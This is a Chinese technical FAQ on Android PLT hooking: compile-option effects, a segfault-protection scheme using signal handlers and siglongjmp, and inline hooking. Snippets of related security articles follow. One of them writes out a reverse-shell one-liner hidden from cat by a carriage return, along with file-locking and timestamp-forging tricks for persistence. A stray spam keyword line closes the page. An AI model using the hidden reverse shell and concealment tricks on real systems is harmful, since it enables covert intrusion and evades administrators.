    3. 通過局部函數指針調用。如果編譯選項為 -O2(默認值),調用將被優化為直接調用(同情況 1)。如果編譯選項為 -O0,則在執行 hook 前已經被賦值到臨時變量中的外部函數的指針,通過 PLT 方式無法 hook;對于執行 hook 之后才被賦值的,可以通過 PLT 方式 hook。

    一般情況下,產品級的ELF很少會使用-O0進行編譯,所以也不必太糾結。

    但是如果你希望你的ELF盡量不被別人 PLT hook,那可以試試使用-O0來編譯,然后盡量早的將外部函數的指針賦值給局部函數指針變量,之后一直使用這些局部函數指針來訪問外部函數。

    總之,查看C/C++的源代碼對這個問題的理解沒有意義,需要查看使用不同的編譯選項后,生成的ELF的反匯編輸出,比較它們的區別,才能知道哪些情況由于什么原因導致無法被 PLT hook

    hook 時遇到偶發的段錯誤是什么原因?如何處理?

    我們有時會遇到這樣的問題:

    1. 讀取 /proc/self/maps 后發現某個內存區域的訪問權限為可讀,當我們讀取該區域的內容做 ELF 文件頭校驗時,發生了段錯誤(sig: SIGSEGV, code: SEGV_ACCERR)。
    2. 已經用 mprotect() 修改了某個內存區域的訪問權限為可寫,mprotect() 返回修改成功,然后再次讀取 /proc/self/maps 確認對應內存區域的訪問權限確實為可寫,執行寫入操作(替換函數指針,執行 hook)時發生段錯誤(sig: SIGSEGV, code: SEGV_ACCERR)。
    3. 讀取和驗證 ELF 文件頭成功了,根據 ELF 頭中的相對地址值,進一步讀取 PHT 或者 .dynamic section 時發生段錯誤(sig: SIGSEGV, code: SEGV_ACCERR 或 SEGV_MAPERR)。

    可能的原因是

    1. 進程的內存空間是多線程共享的,我們在執行 hook 時,其他線程(甚至 linker)可能正在執行 dlclose(),或者正在用 mprotect() 修改這塊內存區域的訪問權限。
    2. 不同廠家、機型、版本的 Android ROM 可能有未公開的行為,比如在某些情況下對某些內存區域存在寫保護或者讀保護機制,而這些保護機制并不反應在 /proc/self/maps 的內容中。

    問題分析

    1. 讀內存時發生段錯誤其實是無害的。
    2. 我在 hook 執行的流程中,需要直接通過計算內存地址的方式來寫入數據的地方只有一處:即替換函數指針的最關鍵的那一行。只要其他地方的邏輯沒有錯誤,這里就算寫入失敗了,也不會對其他內存區域造成破壞。
    3. 加載運行安卓平臺的 APP 進程時,加載器已經向我們注入了 signal handler 的注冊邏輯,以便 APP 崩潰時與系統的 debuggerd 守護進程通訊,debuggerd 使用 ptrace 調試崩潰進程,獲取需要的崩潰現場信息,記錄到 tombstone 文件中,然后 APP 自殺。
    4. 系統會精確的把段錯誤信號發送給“發生段錯誤的線程”。
    5. 我們希望能有一種隱秘的,且可控的方式來避免段錯誤引起 APP 崩潰。

    先明確一個觀點:

    不要只從應用層程序開發的角度來看待段錯誤,段錯誤不是洪水猛獸,它只是內核與用戶進程的一種正常的交流方式。

    當用戶進程訪問了無權限或未mmap的虛擬內存地址時,內核向用戶進程發送SIGSEGV信號,來通知用戶進程,僅此而已。

    只要段錯誤的發生位置是可控的,我們就可以在用戶進程中處理它。

    解決方案

    1. 當 hook 邏輯進入我們認為的危險區域(直接計算內存地址進行讀寫)之前,通過一個全局 flag 來進行標記,離開危險區域后將 flag 復位。
    2. 注冊我們自己的 signal handler,只捕獲段錯誤。在 signal handler 中,通過判斷 flag 的值,來判斷當前線程邏輯是否在危險區域中。如果是,就用 siglongjmp 跳出 signal handler,直接跳到我們預先設置好的“危險區域以外的下一行代碼處”;如果不是,就恢復之前加載器向我們注入的 signal handler,然后直接返回,這時系統會再次向我們的線程發送段錯誤信號,由于已經恢復了之前的 signal handler,這時會進入默認的系統 signal handler 中走正常邏輯。
    3. 我們把這種機制簡稱為:SFP (segmentation fault protection,段錯誤保護)
    4. 注意:SFP需要一個開關,讓我們隨時能夠開啟和關閉它。在 APP 開發調試階段,SFP 應該始終被關閉,這樣就不會錯過由于編碼失誤導致的段錯誤,這些錯誤是應該被修復的;在正式上線后 SFP 應該被開啟,這樣能保證 APP 不會崩潰。(當然,以采樣的形式部分關閉 SFP,用以觀察和分析 hook 機制本身導致的崩潰,也是可以考慮的)

    具體代碼可以參考xhook中的實現,在源碼中搜索siglongjmp和 sigsetjmp

    ELF 內部函數之間的調用能 hook 嗎?

    我們這里介紹的hook方式為 PLT hook,不能做ELF內部函數之間調用的 hook

    道哥注解:

    外部函數是被記錄到.plt這個section中的,因此可以在這個section中一步一步找到它的重定位地址,然后進行修改。

    對于內部函數來說,比如一個使用static關鍵字修飾的函數,編譯器在編譯時,可能就直接把函數的地址“硬編碼”在引用它的地方了。

    這也是為什么:如果一個函數只在文件內部使用,最好加上 static 關鍵字。

    一個原因是安全,防止與其他文件中的符號重名,還有一個原因是加快啟動速度,因為不需要重定位啊!

    inline hook 可以做到,你需要先知道想要hook的內部函數符號名(symbol name)或者地址,然后可以 hook

    有很多開源和非開源的inline hook實現,比如:

    substrate:http://www.cydiasubstrate.com/
    frida:https://www.frida.re/

    inline hook 方案強大的同時可能帶來以下的問題

    1. 由于需要直接解析和修改 ELF 中的機器指令(匯編碼),對于不同架構的處理器、處理器指令集、編譯器優化選項、操作系統版本可能存在不同的兼容性和穩定性問題。
    2. 發生問題后可能難以分析和定位,一些知名的 inline hook 方案是閉源的。
    3. 實現起來相對復雜,難度也較大。
    4. 未知的坑相對較多,這個可以自行 google。

    建議如果PLT hook夠用的話,就不必嘗試inline hook了。

    動態庫elf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    文中使用的示例代碼可以從 這里 獲取。的功能是在終端打印出hello這6個字符(包括結尾的?編譯它們分別生成libtest.so和?存在嚴重的內存泄露問題,每調用一次say_hello函數,就會泄露1024字節的內存。
    由于init函數是linker調用的,所以沒法做加密。所以我們合理懷疑初始化函數位置找錯了。其實之所以會搞錯,是因為錯誤的section header干擾了ida的解析。這通常是因為代碼中有花指令的緣故,我們要考慮去除花指令了。所以有理由懷疑,這里就是花指令,用來干擾ida解析的。執行完后再加上0x20,棧是平衡的。所以我們確信,中間的ret部分就是花指令。
    Binutils一組二進制程序處理工具,包括:addr2line、ar、objcopy、objdump、as、ld、ldd、readelf、size等。靜態的代碼在編譯過程中已經被載入可執行程序,因此體積較大。C語言標準僅僅定義了C標準庫函數原型,并沒有提供實現。C運行時又常簡稱為C運行庫。與C語言類似,C++也定義了自己的標準,同時提供相關支持,稱為C++運行時。準備工作由于GCC工具鏈主要是在Linux環境中進行使用,因此本文也將以Linux系統作為工作環境。
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    漏洞及滲透練習平臺 數據庫注入練習平臺 花式掃描器 信息搜集工具 WEB工具 windows域滲透工具 漏洞利用及攻擊框架 漏洞POC&EXP 中間人攻擊及釣魚 密碼pj 二進制及代碼分析工具 EXP編寫框架及工具 隱寫相關工具 各類安全資料 各類CTF資源 各類編程資源 Python
    另外需要說明一下,原文只是一個系列(https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/)中的一篇文章:
    ASLR程序加載到內存后不使用默認的加載地址,將加載基址進行隨機化,依賴重定位表進行地址修復。地址隨機化之后,shellcode中固定的地址值將失效。圖-程序地址未隨機化處理開啟/關閉軟件地址隨機化。每個頁目錄表和頁表項都存在 基址與屬性控制位,通過修改這些控制位,達到當前內存是否有執行、讀、寫等權限。圖-表項構成windows 系統上可以調用 VirtualProtect 函數完成內存屬性的修改操作。DWORD flNewProtect, // 請求的保護方式。大小超過 8 個字節且不包含指針的數據結構。
    Linux 維權實用技巧
    2023-04-07 09:38:38
    小技巧\r特性原理:shell 在解析 \r 時會忽略掉 \r 前的信息。cat其實默認使用是支持一些比如 \r 回車符 \n 換行符 \f 換頁符、也就是這些符號導致的能夠隱藏命令,使用cat -A可以看到真正的內容比如舉例隱藏反彈shell#!mkdir /tmp/222;echo "bash -i >& /dev/tcp/ip/443 0>&1 &" > /tmp/222/1.sh;bash /tmp/222/1.sh;echo 'Hello world!cat如果不加-A參數,或者不實用vim或者文本方式打開正常運行效果文件鎖定chattr +i evil.php??修改文件時間其中-m參數是不創建一個文件,需要對已存在的文件進行修改時間,若不加-m參數會創建一個文件touch -acmr 10-help-text 20-help-text
    賽時有考慮過ret to dl_resolve的做法,在網上查了下也沒發現有相關的文章,當時也沒有詳細研究,這次趁著期末考前有空,仔細琢磨了一下。
    Android APK的加固方法
    2021-09-03 15:40:02
    有人的地方就有競爭,在Android的發展過程中就伴隨著逆向和安固加固的發展。逆向工作者可以通過一些非常好用的軟件,如IDA、JEB等,來加快逆向的速度;應用開發工作者也會通過各種手段來阻止逆向工作者對自己的應用進行逆向。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类